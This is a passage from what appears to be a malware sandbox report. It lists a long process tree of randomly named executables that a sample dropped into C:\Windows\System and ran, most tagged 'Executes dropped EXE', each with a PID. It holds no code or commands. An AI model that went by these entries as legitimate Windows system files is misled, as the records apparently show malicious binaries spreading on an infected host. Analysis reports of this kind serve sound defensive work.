  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\xBqJbJc.exe
  C:\Windows\System\xBqJbJc.exe
  2⤵
  - Executes dropped EXE
  PID:2924
- C:\Windows\System\DdoLaDr.exe
  C:\Windows\System\DdoLaDr.exe
  2⤵
  - Executes dropped EXE
  PID:680
- C:\Windows\System\QxcRjrs.exe
  C:\Windows\System\QxcRjrs.exe
  2⤵
  - Executes dropped EXE
  PID:4952
- C:\Windows\System\MZtgFGw.exe
  C:\Windows\System\MZtgFGw.exe
  2⤵
  - Executes dropped EXE
  PID:2428
- C:\Windows\System\uENTuCH.exe
  C:\Windows\System\uENTuCH.exe
  2⤵
  - Executes dropped EXE
  PID:3660
- C:\Windows\System\bHHkTPI.exe
  C:\Windows\System\bHHkTPI.exe
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Windows\System\uAMOmod.exe
  C:\Windows\System\uAMOmod.exe
  2⤵
  - Executes dropped EXE
  PID:3136
- C:\Windows\System\aUETYaj.exe
  C:\Windows\System\aUETYaj.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\SQOtAhg.exe
  C:\Windows\System\SQOtAhg.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\gINFFmp.exe
  C:\Windows\System\gINFFmp.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\vQfYKyU.exe
  C:\Windows\System\vQfYKyU.exe
  2⤵
  - Executes dropped EXE
  PID:2044
- C:\Windows\System\KErbfBt.exe
  C:\Windows\System\KErbfBt.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\SWeWzyO.exe
  C:\Windows\System\SWeWzyO.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\kUfgMhZ.exe
  C:\Windows\System\kUfgMhZ.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\rjNhxLq.exe
  C:\Windows\System\rjNhxLq.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\ppzmUfX.exe
  C:\Windows\System\ppzmUfX.exe
  2⤵
  - Executes dropped EXE
  PID:2512
- C:\Windows\System\fKZOVFl.exe
  C:\Windows\System\fKZOVFl.exe
  2⤵
  - Executes dropped EXE
  PID:1236
- C:\Windows\System\uUhZBuN.exe
  C:\Windows\System\uUhZBuN.exe
  2⤵
  - Executes dropped EXE
  PID:1028
- C:\Windows\System\KedLtIZ.exe
  C:\Windows\System\KedLtIZ.exe
  2⤵
  - Executes dropped EXE
  PID:4120
- C:\Windows\System\AfpNkuX.exe
  C:\Windows\System\AfpNkuX.exe
  2⤵
  - Executes dropped EXE
  PID:3680
- C:\Windows\System\pGUaRsz.exe
  C:\Windows\System\pGUaRsz.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\DzMypva.exe
  C:\Windows\System\DzMypva.exe
  2⤵
  - Executes dropped EXE
  PID:1432
- C:\Windows\System\ootoKNT.exe
  C:\Windows\System\ootoKNT.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\dYXhnKH.exe
  C:\Windows\System\dYXhnKH.exe
  2⤵
  - Executes dropped EXE
  PID:4756
- C:\Windows\System\fcHxKuk.exe
  C:\Windows\System\fcHxKuk.exe
  2⤵
  - Executes dropped EXE
  PID:5032
- C:\Windows\System\BYICZfE.exe
  C:\Windows\System\BYICZfE.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\UfdGNVt.exe
  C:\Windows\System\UfdGNVt.exe
  2⤵
  - Executes dropped EXE
  PID:4112
- C:\Windows\System\soLlwLq.exe
  C:\Windows\System\soLlwLq.exe
  2⤵
  - Executes dropped EXE
  PID:3552
- C:\Windows\System\gdUtNti.exe
  C:\Windows\System\gdUtNti.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\vKHloGY.exe
  C:\Windows\System\vKHloGY.exe
  2⤵
  - Executes dropped EXE
  PID:4392
- C:\Windows\System\iIccJGS.exe
  C:\Windows\System\iIccJGS.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\OETbitV.exe
  C:\Windows\System\OETbitV.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\pFXBhZO.exe
  C:\Windows\System\pFXBhZO.exe
  2⤵
  - Executes dropped EXE
  PID:1232
- C:\Windows\System\BKPGZnq.exe
  C:\Windows\System\BKPGZnq.exe
  2⤵
  - Executes dropped EXE
  PID:5100
- C:\Windows\System\NjwMyrh.exe
  C:\Windows\System\NjwMyrh.exe
  2⤵
  - Executes dropped EXE
  PID:3092
- C:\Windows\System\jgkHACw.exe
  C:\Windows\System\jgkHACw.exe
  2⤵
  - Executes dropped EXE
  PID:3088
- C:\Windows\System\efHqVDh.exe
  C:\Windows\System\efHqVDh.exe
  2⤵
  - Executes dropped EXE
  PID:2576
- C:\Windows\System\nkWUvTX.exe
  C:\Windows\System\nkWUvTX.exe
  2⤵
  - Executes dropped EXE
  PID:1468
- C:\Windows\System\nIsYzAF.exe
  C:\Windows\System\nIsYzAF.exe
  2⤵
  - Executes dropped EXE
  PID:5024
- C:\Windows\System\hEAtQyd.exe
  C:\Windows\System\hEAtQyd.exe
  2⤵
  - Executes dropped EXE
  PID:3964
- C:\Windows\System\ecfdWjM.exe
  C:\Windows\System\ecfdWjM.exe
  2⤵
  - Executes dropped EXE
  PID:3108
- C:\Windows\System\ElXsYdQ.exe
  C:\Windows\System\ElXsYdQ.exe
  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\pIYQtTo.exe
  C:\Windows\System\pIYQtTo.exe
  2⤵
  - Executes dropped EXE
  PID:4080
- C:\Windows\System\ELHrePj.exe
  C:\Windows\System\ELHrePj.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\irCOwJX.exe
  C:\Windows\System\irCOwJX.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\NMJIsAb.exe
  C:\Windows\System\NMJIsAb.exe
  2⤵
  PID:1916
- C:\Windows\System\pghvrut.exe
  C:\Windows\System\pghvrut.exe
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Windows\System\hMWrJNo.exe
  C:\Windows\System\hMWrJNo.exe
  2⤵
  PID:4420
- C:\Windows\System\fcItzcI.exe
  C:\Windows\System\fcItzcI.exe
  2⤵
  - Executes dropped EXE
  PID:1228
- C:\Windows\System\UdralGh.exe
  C:\Windows\System\UdralGh.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\ITSoTnl.exe
  C:\Windows\System\ITSoTnl.exe
  2⤵
  - Executes dropped EXE
  PID:600
- C:\Windows\System\CQPsSdm.exe
  C:\Windows\System\CQPsSdm.exe
  2⤵
  - Executes dropped EXE
  PID:1184
- C:\Windows\System\FntjZws.exe
  C:\Windows\System\FntjZws.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\aTGFJeU.exe
  C:\Windows\System\aTGFJeU.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\vKpOGcW.exe
  C:\Windows\System\vKpOGcW.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\seltSQN.exe
  C:\Windows\System\seltSQN.exe
  2⤵
  - Executes dropped EXE
  PID:4336
- C:\Windows\System\PVuOZRN.exe
  C:\Windows\System\PVuOZRN.exe
  2⤵
  - Executes dropped EXE
  PID:1088
- C:\Windows\System\VHnlVgY.exe
  C:\Windows\System\VHnlVgY.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\brmRmOA.exe
  C:\Windows\System\brmRmOA.exe
  2⤵
  - Executes dropped EXE
  PID:1412
- C:\Windows\System\eepWUgm.exe
  C:\Windows\System\eepWUgm.exe
  2⤵
  PID:1836
- C:\Windows\System\pJxPqIr.exe
  C:\Windows\System\pJxPqIr.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\hUhvCHK.exe
  C:\Windows\System\hUhvCHK.exe
  2⤵
  - Executes dropped EXE
  PID:4460
- C:\Windows\System\bvynYMa.exe
  C:\Windows\System\bvynYMa.exe
  2⤵
  PID:3876
- C:\Windows\System\YobupQu.exe
  C:\Windows\System\YobupQu.exe
  2⤵
  PID:2760
- C:\Windows\System\BjcdJjC.exe
  C:\Windows\System\BjcdJjC.exe
  2⤵
  PID:1416
- C:\Windows\System\dblNOIe.exe
  C:\Windows\System\dblNOIe.exe
  2⤵
  PID:2236
- C:\Windows\System\jmtHlTA.exe
  C:\Windows\System\jmtHlTA.exe
  2⤵
  PID:896
- C:\Windows\System\fygDCZE.exe
  C:\Windows\System\fygDCZE.exe
  2⤵
  PID:456
- C:\Windows\System\KRffDoW.exe
  C:\Windows\System\KRffDoW.exe
  2⤵
  PID:3936
- C:\Windows\System\fKmQjgy.exe
  C:\Windows\System\fKmQjgy.exe
  2⤵
  PID:4008
- C:\Windows\System\vALxNRj.exe
  C:\Windows\System\vALxNRj.exe
  2⤵
  PID:1112
- C:\Windows\System\KOnMCDl.exe
  C:\Windows\System\KOnMCDl.exe
  2⤵
  PID:4196
- C:\Windows\System\PPtdzsf.exe
  C:\Windows\System\PPtdzsf.exe
  2⤵
  PID:2788
- C:\Windows\System\OKrxLXH.exe
  C:\Windows\System\OKrxLXH.exe
  2⤵
  PID:1008
- C:\Windows\System\bPIKtEm.exe
  C:\Windows\System\bPIKtEm.exe
  2⤵
  PID:4192
- C:\Windows\System\YhBGAsb.exe
  C:\Windows\System\YhBGAsb.exe
  2⤵
  PID:1880
- C:\Windows\System\iwqkNIi.exe
  C:\Windows\System\iwqkNIi.exe
  2⤵
  PID:4624
- C:\Windows\System\ugHLLTk.exe
  C:\Windows\System\ugHLLTk.exe
  2⤵
  PID:4528
- C:\Windows\System\MNYIqRg.exe
  C:\Windows\System\MNYIqRg.exe
  2⤵
  PID:3600
- C:\Windows\System\JtwTYLa.exe
  C:\Windows\System\JtwTYLa.exe
  2⤵
  PID:3240
- C:\Windows\System\QSUvJeL.exe
  C:\Windows\System\QSUvJeL.exe
  2⤵
  PID:1708
- C:\Windows\System\WNRFBuc.exe
  C:\Windows\System\WNRFBuc.exe
  2⤵
  PID:4516
- C:\Windows\System\geyHdsq.exe
  C:\Windows\System\geyHdsq.exe
  2⤵
  PID:2084
- C:\Windows\System\xLdSRtb.exe
  C:\Windows\System\xLdSRtb.exe
  2⤵
  PID:2960
- C:\Windows\System\CybUMSt.exe
  C:\Windows\System\CybUMSt.exe
  2⤵
  PID:2948
- C:\Windows\System\zmXOfov.exe
  C:\Windows\System\zmXOfov.exe
  2⤵
  PID:3628
- C:\Windows\System\OjRWpCs.exe
  C:\Windows\System\OjRWpCs.exe
  2⤵
  PID:4092
- C:\Windows\System\kgOwTrm.exe
  C:\Windows\System\kgOwTrm.exe
  2⤵
  PID:4968
- C:\Windows\System\BOEXmNv.exe
  C:\Windows\System\BOEXmNv.exe
  2⤵
  PID:2976
- C:\Windows\System\FgSdmvO.exe
  C:\Windows\System\FgSdmvO.exe
  2⤵
  PID:1084
- C:\Windows\System\CbvFaVL.exe
  C:\Windows\System\CbvFaVL.exe
  2⤵
  PID:3676
- C:\Windows\System\QafTKzl.exe
  C:\Windows\System\QafTKzl.exe
  2⤵
  PID:5132
- C:\Windows\System\BUFnzdh.exe
  C:\Windows\System\BUFnzdh.exe
  2⤵
  PID:5148
- C:\Windows\System\gxKzBzk.exe
  C:\Windows\System\gxKzBzk.exe
  2⤵
  PID:5180
- C:\Windows\System\kEYuVnb.exe
  C:\Windows\System\kEYuVnb.exe
  2⤵
  PID:5388
- C:\Windows\System\DFZEEiL.exe
  C:\Windows\System\DFZEEiL.exe
  2⤵
  PID:5408
- C:\Windows\System\MuFRSOV.exe
  C:\Windows\System\MuFRSOV.exe
  2⤵
  PID:5428
- C:\Windows\System\JVGHgxP.exe
  C:\Windows\System\JVGHgxP.exe
  2⤵
  PID:5448
- C:\Windows\System\oEqkxQu.exe
  C:\Windows\System\oEqkxQu.exe
  2⤵
  PID:5464
- C:\Windows\System\oGMEXjn.exe
  C:\Windows\System\oGMEXjn.exe
  2⤵
  PID:5488
- C:\Windows\System\ltrSmUg.exe
  C:\Windows\System\ltrSmUg.exe
  2⤵
  PID:5504
- C:\Windows\System\xZAgVaa.exe
  C:\Windows\System\xZAgVaa.exe
  2⤵
  PID:5524
- C:\Windows\System\FxsmQiR.exe
  C:\Windows\System\FxsmQiR.exe
  2⤵
  PID:5548
- C:\Windows\System\FCEsjPo.exe
  C:\Windows\System\FCEsjPo.exe
  2⤵
  PID:5564
- C:\Windows\System\EsoQXct.exe
  C:\Windows\System\EsoQXct.exe
  2⤵
  PID:5592
- C:\Windows\System\qOYCexm.exe
  C:\Windows\System\qOYCexm.exe
  2⤵
  PID:5608
- C:\Windows\System\HAjhwcF.exe
  C:\Windows\System\HAjhwcF.exe
  2⤵
  PID:5624
- C:\Windows\System\FbUTvSW.exe
  C:\Windows\System\FbUTvSW.exe
  2⤵
  PID:5640
- C:\Windows\System\Gsymkgt.exe
  C:\Windows\System\Gsymkgt.exe
  2⤵
  PID:5660
- C:\Windows\System\DUVJIfn.exe
  C:\Windows\System\DUVJIfn.exe
  2⤵
  PID:5676
- C:\Windows\System\tBwwtgD.exe
  C:\Windows\System\tBwwtgD.exe
  2⤵
  PID:5692
- C:\Windows\System\UmWNIAm.exe
  C:\Windows\System\UmWNIAm.exe
  2⤵
  PID:5712
- C:\Windows\System\CjCoXEC.exe
  C:\Windows\System\CjCoXEC.exe
  2⤵
  PID:5728
- C:\Windows\System\VscOcJO.exe
  C:\Windows\System\VscOcJO.exe
  2⤵
  PID:5752
- C:\Windows\System\qDIfPXI.exe
  C:\Windows\System\qDIfPXI.exe
  2⤵
  PID:5768
- C:\Windows\System\zhRcFOh.exe
  C:\Windows\System\zhRcFOh.exe
  2⤵
  PID:5788
- C:\Windows\System\YSeiwRW.exe
  C:\Windows\System\YSeiwRW.exe
  2⤵
  PID:5848
- C:\Windows\System\YIExuKd.exe
  C:\Windows\System\YIExuKd.exe
  2⤵
  PID:5864
- C:\Windows\System\urqrnze.exe
  C:\Windows\System\urqrnze.exe
  2⤵
  PID:5880
- C:\Windows\System\ovIfCqS.exe
  C:\Windows\System\ovIfCqS.exe
  2⤵
  PID:5944
- C:\Windows\System\vQpcfyn.exe
  C:\Windows\System\vQpcfyn.exe
  2⤵
  PID:5960
- C:\Windows\System\QbxpKLO.exe
  C:\Windows\System\QbxpKLO.exe
  2⤵
  PID:5984
- C:\Windows\System\nZmIRJu.exe
  C:\Windows\System\nZmIRJu.exe
  2⤵
  PID:6012
- C:\Windows\System\GKxViYK.exe
  C:\Windows\System\GKxViYK.exe
  2⤵
  PID:6028
- C:\Windows\System\fDnkZwt.exe
  C:\Windows\System\fDnkZwt.exe
  2⤵
  PID:6048
- C:\Windows\System\WPRrUJc.exe
  C:\Windows\System\WPRrUJc.exe
  2⤵
  PID:6072
- C:\Windows\System\ceNRkEn.exe
  C:\Windows\System\ceNRkEn.exe
  2⤵
  PID:6088
- C:\Windows\System\PHsPGMD.exe
  C:\Windows\System\PHsPGMD.exe
  2⤵
  PID:6108
- C:\Windows\System\HiunuAS.exe
  C:\Windows\System\HiunuAS.exe
  2⤵
  PID:6132
- C:\Windows\System\CLeNngy.exe
  C:\Windows\System\CLeNngy.exe
  2⤵
  PID:2160
- C:\Windows\System\qyDNEpq.exe
  C:\Windows\System\qyDNEpq.exe
  2⤵
  PID:4180
- C:\Windows\System\NYZYwIJ.exe
  C:\Windows\System\NYZYwIJ.exe
  2⤵
  PID:4100
- C:\Windows\System\rVDbGjQ.exe
  C:\Windows\System\rVDbGjQ.exe
  2⤵
  PID:756
- C:\Windows\System\DRDZUKJ.exe
  C:\Windows\System\DRDZUKJ.exe
  2⤵
  PID:2240
- C:\Windows\System\ZGcjoFl.exe
  C:\Windows\System\ZGcjoFl.exe
  2⤵
  PID:1316
- C:\Windows\System\SPXhOqt.exe
  C:\Windows\System\SPXhOqt.exe
  2⤵
  PID:4580
- C:\Windows\System\KLEUPLn.exe
  C:\Windows\System\KLEUPLn.exe
  2⤵
  PID:4476
- C:\Windows\System\jCIhRQi.exe
  C:\Windows\System\jCIhRQi.exe
  2⤵
  PID:232
- C:\Windows\System\OhhnnwT.exe
  C:\Windows\System\OhhnnwT.exe
  2⤵
  PID:64
- C:\Windows\System\YwNvVjO.exe
  C:\Windows\System\YwNvVjO.exe
  2⤵
  PID:1104
- C:\Windows\System\KsXflAu.exe
  C:\Windows\System\KsXflAu.exe
  2⤵
  PID:1664
- C:\Windows\System\sMUDArN.exe
  C:\Windows\System\sMUDArN.exe
  2⤵
  PID:3812
- C:\Windows\System\UwyiXWn.exe
  C:\Windows\System\UwyiXWn.exe
  2⤵
  PID:4524
- C:\Windows\System\KKTiRxM.exe
  C:\Windows\System\KKTiRxM.exe
  2⤵
  PID:2540
- C:\Windows\System\eEmThKO.exe
  C:\Windows\System\eEmThKO.exe
  2⤵
  PID:2936
- C:\Windows\System\hpfEeqw.exe
  C:\Windows\System\hpfEeqw.exe
  2⤵
  PID:3624
- C:\Windows\System\KRLgGVf.exe
  C:\Windows\System\KRLgGVf.exe
  2⤵
  PID:5876
- C:\Windows\System\YIpCHDR.exe
  C:\Windows\System\YIpCHDR.exe
  2⤵
  PID:5160
- C:\Windows\System\WKaXmlm.exe
  C:\Windows\System\WKaXmlm.exe
  2⤵
  PID:5028
- C:\Windows\System\fZwWbLU.exe
  C:\Windows\System\fZwWbLU.exe
  2⤵
  PID:5440
- C:\Windows\System\ypwGYmX.exe
  C:\Windows\System\ypwGYmX.exe
  2⤵
  PID:5460
- C:\Windows\System\bhOskdM.exe
  C:\Windows\System\bhOskdM.exe
  2⤵
  PID:5232
- C:\Windows\System\yGkIBzD.exe
  C:\Windows\System\yGkIBzD.exe
  2⤵
  PID:2376
- C:\Windows\System\mvgWrmw.exe
  C:\Windows\System\mvgWrmw.exe
  2⤵
  PID:6160
- C:\Windows\System\AbvcYrF.exe
  C:\Windows\System\AbvcYrF.exe
  2⤵
  PID:6176
- C:\Windows\System\TByssHe.exe
  C:\Windows\System\TByssHe.exe
  2⤵
  PID:6216
- C:\Windows\System\WNvFHmI.exe
  C:\Windows\System\WNvFHmI.exe
  2⤵
  PID:6244
- C:\Windows\System\OYuNjeY.exe
  C:\Windows\System\OYuNjeY.exe
  2⤵
  PID:6264
- C:\Windows\System\sBbtZLJ.exe
  C:\Windows\System\sBbtZLJ.exe
  2⤵
  PID:6288
- C:\Windows\System\kdsyswE.exe
  C:\Windows\System\kdsyswE.exe
  2⤵
  PID:6304
- C:\Windows\System\NUKdgcd.exe
  C:\Windows\System\NUKdgcd.exe
  2⤵
  PID:6332
- C:\Windows\System\GFJyLfG.exe
  C:\Windows\System\GFJyLfG.exe
  2⤵
  PID:6360
- C:\Windows\System\rMFxeaa.exe
  C:\Windows\System\rMFxeaa.exe
  2⤵
  PID:6376
- C:\Windows\System\yJwxHHP.exe
  C:\Windows\System\yJwxHHP.exe
  2⤵
  PID:6392
- C:\Windows\System\vnFCMuR.exe
  C:\Windows\System\vnFCMuR.exe
  2⤵
  PID:6408
- C:\Windows\System\jNXSKfn.exe
  C:\Windows\System\jNXSKfn.exe
  2⤵
  PID:6428
- C:\Windows\System\kkHDlxG.exe
  C:\Windows\System\kkHDlxG.exe
  2⤵
  PID:6448
- C:\Windows\System\hvxoMve.exe
  C:\Windows\System\hvxoMve.exe
  2⤵
  PID:6472
- C:\Windows\System\FVAmxcP.exe
  C:\Windows\System\FVAmxcP.exe
  2⤵
  PID:6512
- C:\Windows\System\elJvoaO.exe
  C:\Windows\System\elJvoaO.exe
  2⤵
  PID:6544
- C:\Windows\System\doOsNzu.exe
  C:\Windows\System\doOsNzu.exe
  2⤵
  PID:5784
- C:\Windows\System\UAMqEdu.exe
  C:\Windows\System\UAMqEdu.exe
  2⤵
  PID:5992
- C:\Windows\System\PhMCVRV.exe
  C:\Windows\System\PhMCVRV.exe
  2⤵
  PID:6084
- C:\Windows\System\hUTrKTu.exe
  C:\Windows\System\hUTrKTu.exe
  2⤵
  PID:6020
- C:\Windows\System\cSijyNm.exe
  C:\Windows\System\cSijyNm.exe
  2⤵
  PID:6528
- C:\Windows\System\TdvcoVw.exe
  C:\Windows\System\TdvcoVw.exe
  2⤵
  PID:5860
- C:\Windows\System\gIEhYcp.exe
  C:\Windows\System\gIEhYcp.exe
  2⤵
  PID:4468
- C:\Windows\System\hkoDnjt.exe
  C:\Windows\System\hkoDnjt.exe
  2⤵
  PID:6556
- C:\Windows\System\gOOeete.exe
  C:\Windows\System\gOOeete.exe
  2⤵
  PID:4812
- C:\Windows\System\PUjbRqp.exe
  C:\Windows\System\PUjbRqp.exe
  2⤵
  PID:1420
- C:\Windows\System\iPIltbC.exe
  C:\Windows\System\iPIltbC.exe
  2⤵
  PID:3160
- C:\Windows\System\CsTBlbd.exe
  C:\Windows\System\CsTBlbd.exe
  2⤵
  PID:2104
- C:\Windows\System\jBvTMxv.exe
  C:\Windows\System\jBvTMxv.exe
  2⤵
  PID:2356
- C:\Windows\System\jPghtJy.exe
  C:\Windows\System\jPghtJy.exe
  2⤵
  PID:2336
- C:\Windows\System\EReFJeN.exe
  C:\Windows\System\EReFJeN.exe
  2⤵
  PID:6152
- C:\Windows\System\cErnXaB.exe
  C:\Windows\System\cErnXaB.exe
  2⤵
  PID:6284
- C:\Windows\System\yLtDHaL.exe
  C:\Windows\System\yLtDHaL.exe
  2⤵
  PID:6348
- C:\Windows\System\PAMjRgH.exe
  C:\Windows\System\PAMjRgH.exe
  2⤵
  PID:5296
- C:\Windows\System\sBCkCfB.exe
  C:\Windows\System\sBCkCfB.exe
  2⤵
  PID:4912
- C:\Windows\System\HiKPfdR.exe
  C:\Windows\System\HiKPfdR.exe
  2⤵
  PID:5480
- C:\Windows\System\TagWhVK.exe
  C:\Windows\System\TagWhVK.exe
  2⤵
  PID:4632
- C:\Windows\System\dtVVFSQ.exe
  C:\Windows\System\dtVVFSQ.exe
  2⤵
  PID:6208
- C:\Windows\System\HjSznRG.exe
  C:\Windows\System\HjSznRG.exe
  2⤵
  PID:6256
- C:\Windows\System\hUKzQMT.exe
  C:\Windows\System\hUKzQMT.exe
  2⤵
  PID:6296
- C:\Windows\System\RiHQTEI.exe
  C:\Windows\System\RiHQTEI.exe
  2⤵
  PID:6876
- C:\Windows\System\wUefFKE.exe
  C:\Windows\System\wUefFKE.exe
  2⤵
  PID:1780
- C:\Windows\System\PNnIEAd.exe
  C:\Windows\System\PNnIEAd.exe
  2⤵
  PID:6984
- C:\Windows\System\zHEbsmi.exe
  C:\Windows\System\zHEbsmi.exe
  2⤵
  PID:7024
- C:\Windows\System\aWEXPxY.exe
  C:\Windows\System\aWEXPxY.exe
  2⤵
  PID:7072
- C:\Windows\System\jIFzoyZ.exe
  C:\Windows\System\jIFzoyZ.exe
  2⤵
  PID:7116
- C:\Windows\System\TdFVzVk.exe
  C:\Windows\System\TdFVzVk.exe
  2⤵
  PID:4164
- C:\Windows\System\WXAPrQi.exe
  C:\Windows\System\WXAPrQi.exe
  2⤵
  PID:4920
- C:\Windows\System\mHLaEFv.exe
  C:\Windows\System\mHLaEFv.exe
  2⤵
  PID:2116
- C:\Windows\System\KANDbuS.exe
  C:\Windows\System\KANDbuS.exe
  2⤵
  PID:6212
- C:\Windows\System\LdluomQ.exe
  C:\Windows\System\LdluomQ.exe
  2⤵
  PID:6600
- C:\Windows\System\TImvXoC.exe
  C:\Windows\System\TImvXoC.exe
  2⤵
  PID:7172
- C:\Windows\System\lgcXxoj.exe
  C:\Windows\System\lgcXxoj.exe
  2⤵
  PID:7232
- C:\Windows\System\OWbZZNZ.exe
  C:\Windows\System\OWbZZNZ.exe
  2⤵
  PID:7248
- C:\Windows\System\LDTFKip.exe
  C:\Windows\System\LDTFKip.exe
  2⤵
  PID:7264
- C:\Windows\System\pSxhPOh.exe
  C:\Windows\System\pSxhPOh.exe
  2⤵
  PID:7280
- C:\Windows\System\EMGFCvO.exe
  C:\Windows\System\EMGFCvO.exe
  2⤵
  PID:7296
- C:\Windows\System\NzrsEhz.exe
  C:\Windows\System\NzrsEhz.exe
  2⤵
  PID:7312
- C:\Windows\System\PCTzHqy.exe
  C:\Windows\System\PCTzHqy.exe
  2⤵
  PID:7328
- C:\Windows\System\vPendXw.exe
  C:\Windows\System\vPendXw.exe
  2⤵
  PID:7344
- C:\Windows\System\IYOJTOe.exe
  C:\Windows\System\IYOJTOe.exe
  2⤵
  PID:7360
- C:\Windows\System\HBegslC.exe
  C:\Windows\System\HBegslC.exe
  2⤵
  PID:7376
- C:\Windows\System\BITABFN.exe
  C:\Windows\System\BITABFN.exe
  2⤵
  PID:7392
- C:\Windows\System\OrlhwhE.exe
  C:\Windows\System\OrlhwhE.exe
  2⤵
  PID:7408
- C:\Windows\System\ybELpHC.exe
  C:\Windows\System\ybELpHC.exe
  2⤵
  PID:7424
- C:\Windows\System\jRJXPrr.exe
  C:\Windows\System\jRJXPrr.exe
  2⤵
  PID:7444
- C:\Windows\System\gHDYtFX.exe
  C:\Windows\System\gHDYtFX.exe
  2⤵
  PID:7460
- C:\Windows\System\LKDjYvu.exe
  C:\Windows\System\LKDjYvu.exe
  2⤵
  PID:7476
- C:\Windows\System\acxwuEo.exe
  C:\Windows\System\acxwuEo.exe
  2⤵
  PID:7500
- C:\Windows\System\IpIQewk.exe
  C:\Windows\System\IpIQewk.exe
  2⤵
  PID:7516
- C:\Windows\System\xgqLhUe.exe
  C:\Windows\System\xgqLhUe.exe
  2⤵
  PID:7536
- C:\Windows\System\zMeMCdd.exe
  C:\Windows\System\zMeMCdd.exe
  2⤵
  PID:7556
- C:\Windows\System\vgJrRax.exe
  C:\Windows\System\vgJrRax.exe
  2⤵
  PID:7576
- C:\Windows\System\TFqYWnI.exe
  C:\Windows\System\TFqYWnI.exe
  2⤵
  PID:7724
- C:\Windows\System\CdkbBla.exe
  C:\Windows\System\CdkbBla.exe
  2⤵
  PID:7744
- C:\Windows\System\tJHEpyo.exe
  C:\Windows\System\tJHEpyo.exe
  2⤵
  PID:7764
- C:\Windows\System\ukdemSQ.exe
  C:\Windows\System\ukdemSQ.exe
  2⤵
  PID:7780
- C:\Windows\System\ycfMMwE.exe
  C:\Windows\System\ycfMMwE.exe
  2⤵
  PID:7804
- C:\Windows\System\rUrWzgT.exe
  C:\Windows\System\rUrWzgT.exe
  2⤵
  PID:7820
- C:\Windows\System\QJUSDKb.exe
  C:\Windows\System\QJUSDKb.exe
  2⤵
  PID:7844
- C:\Windows\System\rYnyEfp.exe
  C:\Windows\System\rYnyEfp.exe
  2⤵
  PID:7868
- C:\Windows\System\RHnbxDP.exe
  C:\Windows\System\RHnbxDP.exe
  2⤵
  PID:7888
- C:\Windows\System\XRPIpTR.exe
  C:\Windows\System\XRPIpTR.exe
  2⤵
  PID:7904
- C:\Windows\System\QXtuqSh.exe
  C:\Windows\System\QXtuqSh.exe
  2⤵
  PID:7928
- C:\Windows\System\RGclQaD.exe
  C:\Windows\System\RGclQaD.exe
  2⤵
  PID:7944
- C:\Windows\System\NPWDLkV.exe
  C:\Windows\System\NPWDLkV.exe
  2⤵
  PID:7960
- C:\Windows\System\nGAcggq.exe
  C:\Windows\System\nGAcggq.exe
  2⤵
  PID:7984
- C:\Windows\System\quPcaYJ.exe
  C:\Windows\System\quPcaYJ.exe
  2⤵
  PID:8008
- C:\Windows\System\ecRRXID.exe
  C:\Windows\System\ecRRXID.exe
  2⤵
  PID:8028
- C:\Windows\System\qcjRMBb.exe
  C:\Windows\System\qcjRMBb.exe
  2⤵
  PID:8056
- C:\Windows\System\JlPpcLC.exe
  C:\Windows\System\JlPpcLC.exe
  2⤵
  PID:8076
- C:\Windows\System\EQwDSGJ.exe
  C:\Windows\System\EQwDSGJ.exe
  2⤵
  PID:8092
- C:\Windows\System\mpLJGvx.exe
  C:\Windows\System\mpLJGvx.exe
  2⤵
  PID:8112
- C:\Windows\System\DGZLxxp.exe
  C:\Windows\System\DGZLxxp.exe
  2⤵
  PID:8128
- C:\Windows\System\MLzcTOx.exe
  C:\Windows\System\MLzcTOx.exe
  2⤵
  PID:8156
- C:\Windows\System\zrLoUBt.exe
  C:\Windows\System\zrLoUBt.exe
  2⤵
  PID:8180
- C:\Windows\System\qIMDesM.exe
  C:\Windows\System\qIMDesM.exe
  2⤵
  PID:1196
- C:\Windows\System\TsVgTHp.exe
  C:\Windows\System\TsVgTHp.exe
  2⤵
  PID:7588
- C:\Windows\System\NGGupTN.exe
  C:\Windows\System\NGGupTN.exe
  2⤵
  PID:7260
- C:\Windows\System\xcIYFrB.exe
  C:\Windows\System\xcIYFrB.exe
  2⤵
  PID:7308
- C:\Windows\System\EESadBN.exe
  C:\Windows\System\EESadBN.exe
  2⤵
  PID:7340
- C:\Windows\System\MjEHatj.exe
  C:\Windows\System\MjEHatj.exe
  2⤵
  PID:7372
- C:\Windows\System\aGxXRqM.exe
  C:\Windows\System\aGxXRqM.exe
  2⤵
  PID:7404
- C:\Windows\System\KrdQNfx.exe
  C:\Windows\System\KrdQNfx.exe
  2⤵
  PID:7432
- C:\Windows\System\cybcftp.exe
  C:\Windows\System\cybcftp.exe
  2⤵
  PID:7468
- C:\Windows\System\SxqmbPX.exe
  C:\Windows\System\SxqmbPX.exe
  2⤵
  PID:7492
- C:\Windows\System\oIIRUqh.exe
  C:\Windows\System\oIIRUqh.exe
  2⤵
  PID:7544
- C:\Windows\System\nJnBZju.exe
  C:\Windows\System\nJnBZju.exe
  2⤵
  PID:4964
- C:\Windows\System\Mzkemxl.exe
